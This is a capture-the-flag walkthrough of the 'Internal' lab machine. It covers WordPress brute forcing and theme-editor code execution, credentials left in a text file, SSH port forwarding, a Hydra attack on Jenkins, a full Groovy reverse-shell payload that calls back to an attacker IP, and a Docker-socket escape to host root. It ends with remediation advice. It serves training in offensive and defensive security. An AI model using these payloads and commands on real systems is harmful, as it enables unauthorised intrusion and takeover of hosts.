Target IP: internal.thm (Requires /etc/hosts entry)
Difficulty: Hard
Objective: User (user.txt) & Root (root.txt) Flags
1. Executive Summary
“Internal” is a multi-stage challenge simulating a corporate network. We gain initial access by compromising a public-facing WordPress site via credential brute-forcing and a Theme Editor RCE. Post-exploitation enumeration reveals internal credentials for a user aubreanna, allowing us to SSH into the box. We then discover an internal Jenkins service listening on a private Docker IP. Using SSH Port Forwarding, we tunnel into this service, brute-force the admin login, and execute code via the Groovy Script Console. Root access is achieved by escaping the Jenkins Docker container, abusing the exposed docker.sock to mount the host filesystem.
Key TTPs (MITRE ATT&CK):
- T1110 (Brute Force): Cracking WordPress and Jenkins logins.
- T1190 (Exploit Public-Facing App): WordPress Theme Editor RCE.
- T1552 (Unsecured Credentials): Finding credentials in text files (
/opt). - T1572 (Protocol Tunneling): SSH Local Port Forwarding to access internal services.
- T1611 (Escape to Host): Mounting the host root filesystem via Docker.
2. Operational Setup
Host Configuration
echo "10.10.x.x internal.thm" | sudo tee -a /etc/hosts3. Enumeration: “The External Facade”
A. Network Scanning
Nmap shows the standard “Web Server” profile.
- 22/tcp (SSH): Open.
- 80/tcp (HTTP): Apache.
B. Web Enumeration
Directory brute-forcing (using gobuster or feroxbuster) reveals /wordpress and /phpmyadmin.
Navigating to /wordpress confirms a standard blog.
C. WordPress Analysis (WPScan)
We use wpscan to identify users and plugins.
wpscan --url http://internal.thm/wordpress/ -e u- Users Found:
admin.
4. Initial Access: WordPress RCE
A. Credential Stuffing
Knowing the user is admin, we attempt a brute-force attack on the login page (wp-login.php).
wpscan --url http://internal.thm/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txtResult: admin : my2boys
B. Remote Code Execution (Theme Editor)
With Admin access, we can modify the PHP code of the site themes.
- Navigate: Appearance -> Theme Editor.
- Select: A template (e.g.,
404.php) from the active theme (Twenty Seventeen). - Inject: We replace the code with a PHP reverse shell (PentestMonkey).
- Execute:
curl http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.php.
Status: Shell as www-data.
5. Lateral Movement: The Pivot
A. Enumeration (/opt)
Standard procedure is to check /opt and /var/www for loose files.
In /opt, we find a file wp-save.txt.
cat /opt/wp-save.txt
# Output:
# aubreanna:bubb13guM!@#123B. SSH Access
We use these credentials to SSH into the box.
ssh aubreanna@internal.thmUser Flag: /home/aubreanna/user.txt.
C. Internal Reconnaissance
Inside the box, we check for internal ports that were blocked from the outside.
netstat -antp
# or
ss -tulpnFinding: Something is listening on 172.17.0.2:8080.
- Context:
172.17.x.xis the default Docker bridge network. This implies a container is running a web service on port 8080.
D. SSH Tunneling (The Pivot)
We cannot reach 172.17.0.2 directly from our attacker machine. We use SSH Local Port Forwarding to bridge the gap.
Command (Run on Attacker Machine):
# Syntax: ssh -L LocalPort:InternalIP:InternalPort user@Gateway
ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm- Now,
localhost:8080on our attacker machine forwards traffic through the SSH tunnel to172.17.0.2:8080inside the network.
6. Jenkins Exploitation
A. Accessing the Service
We open a browser to http://localhost:8080.
Result: A Jenkins login page.
B. Brute Force (Again)
We try default credentials (admin:admin, jenkins:jenkins) with no luck.
We use Hydra against our local forwarded port.
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8080 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"- Result:
admin:spongebob.
C. RCE via Script Console
Jenkins has a feature called the Script Console which allows Admins to run Groovy scripts. This is effectively “Console access as a Service.”
- Navigate: Manage Jenkins -> Script Console.
- Payload: (Java Reverse Shell in Groovy)
String host="10.10.YOUR.IP"; // Your VPN IP
int port=6969;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host, port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0) so.write(pi.read());
while(pe.available()>0) so.write(pe.read());
while(si.available()>0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
}
p.destroy();
s.close();- Execute: Click Run.
Status: Shell inside the Jenkins container.
7. Privilege Escalation: Docker Escape
A. Enumeration
We are root… inside a container.
hostname
# random_string (e.g., 7b979a7af778)
ls -la /
# .dockerenv existsWe check for mounted volumes or exposed sockets.
ls -la /var/run/docker.sock
# srw-rw---- 1 root 999 ... /var/run/docker.sockCritical Finding: The host’s Docker socket is mounted inside the container. This gives us full control over the host’s Docker daemon.
B. The Escape
We can use the docker client (if installed) or curl to tell the daemon to spawn a new container that mounts the host’s root directory (/) to a folder inside the container.
Command:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh-v /:/mnt: Mount host/to container/mnt.chroot /mnt: Change root to the mounted filesystem.
Result:
We are now effectively root on the Host machine (internal).
cd /root
cat root.txt8. Remediation (Blue Team)
- Network Segmentation:
- The Jenkins container should be on an isolated network segment, not reachable via simple SSH forwarding if users like
aubreannaare compromised.
- Docker Security:
- Never mount
/var/run/docker.sockinside a container unless absolutely necessary (e.g., for Portainer). Use Rootless Docker or a proxy with strict ACLs if management is needed.
- Credential Hygiene:
- Do not leave credentials in
/opttext files. - Enforce strong passwords for Jenkins (
spongebobis weak).
- WordPress Hardening:
- Disable file editing in the dashboard (
define('DISALLOW_FILE_EDIT', true);inwp-config.php). - Implement Fail2Ban for the login page.